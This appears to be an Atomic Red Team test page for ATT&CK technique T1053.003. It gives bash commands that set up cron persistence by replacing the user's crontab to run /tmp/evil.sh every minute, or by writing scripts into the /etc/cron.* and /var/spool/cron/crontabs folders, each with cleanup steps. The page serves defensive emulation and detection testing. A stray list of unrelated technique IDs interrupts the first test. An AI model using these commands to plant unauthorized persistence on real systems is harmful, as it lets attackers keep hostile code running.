T1053.003 - Cron

Description from ATT&CK

> Adversaries may abuse the `cron` utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The `cron` utility is a time-based job scheduler for Unix-like operating systems. The `crontab` file contains the schedule of cron entries to be run and the specified times for execution. Any `crontab` files are stored in operating system-specific file paths.
> An adversary may use `cron` in Linux or Unix environments to execute programs at system startup or on a scheduled basis for Persistence.

Atomic Tests

- Atomic Test #1 - Cron - Replace crontab with referenced file
- Atomic Test #2 - Cron - Add script to all cron subfolders
- Atomic Test #3 - Cron - Add script to /var/spool/cron/crontabs/ folder

Atomic Test #1 - Cron - Replace crontab with referenced file

This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.

Supported Platforms: macOS, Linux

auto_generated_guid: 435057fb-74b1-410e-9403-d81baf194f75

Inputs:

Name	Description	Type	Default Value
command	Command to execute	String	/tmp/evil.sh
tmp_cron	Temporary reference file to hold evil cron schedule	Path	/tmp/persistevil

Attack Commands: Run with `bash`!

```
crontab -l > /tmp/notevil
```

- T1037.001
- T1037.002
- T1037.004
- T1037.005
- T1039
- T1040


```
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
```

Cleanup Commands:

```
crontab /tmp/notevil
```

Atomic Test #2 - Cron - Add script to all cron subfolders

This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.

Supported Platforms: macOS, Linux

auto_generated_guid: b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0

Inputs:

Name	Description	Type	Default Value
command	Command to execute	String	echo 'Hello from Atomic Red Team' > /tmp/atomic.log
cron_script_name	Name of file to store in cron folder	String	persistevil

Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)

```
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
```

Cleanup Commands:

```
rm /etc/cron.daily/#{cron_script_name}
rm /etc/cron.hourly/#{cron_script_name}
rm /etc/cron.monthly/#{cron_script_name}
rm /etc/cron.weekly/#{cron_script_name}
```

Atomic Test #3 - Cron - Add script to /var/spool/cron/crontabs/ folder

This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.

Supported Platforms: Linux

auto_generated_guid: 2d943c18-e74a-44bf-936f-25ade6cccab4

Inputs:

Name	Description	Type	Default Value
command	Command to execute	String	echo 'Hello from Atomic Red Team' >

			/tmp/atomic.log
cron_script_name	Name of file to store in /var/spool/cron/crontabs folder	String	persistevil

Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)

```
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
```

Cleanup Commands:

```
rm /var/spool/cron/crontabs/#{cron_script_name}
```